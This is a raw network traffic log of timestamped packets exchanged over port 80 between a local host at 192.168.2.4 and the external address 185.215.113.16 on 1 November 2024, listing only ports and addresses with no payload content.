Nov 1, 2024 10:56:12.548691034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548702002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548707008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548707008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548712969 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548724890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548736095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548736095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548747063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548758030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548763990 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548769951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548782110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548789024 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548794031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548805952 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548809052 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548824072 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548835039 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548846006 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548857927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548868895 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548870087 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548881054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548892975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548903942 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.548911095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.548933029 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549559116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549571037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549580097 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549590111 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549599886 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549611092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549618959 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549621105 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549638987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549650908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549662113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549665928 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549671888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549683094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549694061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549706936 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549719095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549719095 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549731016 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549741983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549755096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549762964 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549765110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549777031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549782991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549794912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549806118 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549808025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549819946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549832106 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.549859047 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.549900055 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550564051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550575972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550585032 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550595999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550606966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550616980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550627947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550632000 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550646067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550656080 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550658941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550671101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550681114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550685883 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550693989 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550704002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550707102 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550715923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550726891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550733089 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550736904 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550748110 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550760031 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550770998 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550776958 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550782919 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550792933 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550805092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550817966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550817966 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550829887 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550839901 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550839901 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.550865889 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.550884962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551246881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551462889 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551474094 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551482916 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551492929 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551503897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551515102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551520109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551525116 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551537991 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551548958 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551559925 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551565886 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551570892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551587105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551593065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551604033 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551610947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551620007 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551620960 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551631927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551656008 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551661968 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551675081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551685095 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551695108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551698923 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551707029 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551717997 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551728964 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551738977 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551739931 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551752090 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551762104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551768064 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551773071 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551784992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551795959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551806927 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551816940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.551820993 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.551858902 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.568052053 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.572945118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.572977066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.572988987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573055983 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573060036 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573069096 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573080063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573092937 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573103905 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573158026 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573224068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573235035 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573245049 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573257923 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573268890 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573281050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573350906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573354959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573402882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573509932 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573527098 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573538065 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573549986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573559999 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573571920 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573575020 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573584080 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573596954 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573599100 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573607922 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573620081 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573648930 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573678017 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573787928 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573800087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573810101 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573878050 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573914051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573925972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573935986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573947906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573960066 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573971987 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.573971033 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.573983908 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574029922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574029922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574119091 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574131012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574141026 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574152946 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574183941 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574218035 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574254036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574265003 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574276924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574287891 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574307919 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574338913 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574363947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574374914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574385881 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574397087 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574408054 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574415922 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574419975 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574430943 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574441910 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574449062 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574470043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574496984 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574677944 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574690104 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574704885 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574732065 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574829102 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574841022 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574850082 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574861050 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574873924 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574886084 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574887991 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574898005 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574911118 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574923992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574930906 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574934959 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574947119 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574950933 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.574959993 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.574980974 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575011969 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575162888 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575212002 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575212955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575226068 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575273037 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575306892 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575325012 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575335979 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575349092 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575388908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575418949 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575510025 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575520992 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575536013 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575546980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575557947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575568914 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575577021 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575582027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575592995 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575607061 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575612068 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575642109 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575826883 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575839043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575849056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575865030 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575876951 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575885057 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575887918 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575900078 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575911045 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575922966 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.575923920 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575962067 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.575992107 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576071978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576083899 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576093912 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576124907 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576149940 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576162100 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576172113 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576184034 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576195955 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576200962 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576208115 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576220036 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576236010 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576262951 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576303005 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576406002 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576536894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576550961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576560974 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576576948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576589108 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576600075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576601028 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576611042 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576622963 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576632977 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576644897 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576647043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576658010 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576668978 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576669931 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576685905 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576699972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576710939 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576721907 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.576736927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576757908 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.576980114 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577033043 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577043056 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577089071 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577122927 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577126980 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577137947 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577156067 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577168941 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577214003 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577250957 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577337027 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577348948 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577358961 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577370882 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577383041 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577394962 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577408075 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577419043 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577419996 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577434063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577445030 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577472925 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577645063 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577661037 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577671051 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577682972 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577692986 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577704906 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577711105 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577718973 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577730894 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577743053 CET	80	49738	185.215.113.16	192.168.2.4
Nov 1, 2024 10:56:12.577756882 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577797890 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.577825069 CET	49738	80	192.168.2.4	185.215.113.16
Nov 1, 2024 10:56:12.578000069 CET	80	49738	185.215.113.16	192.168.2.4
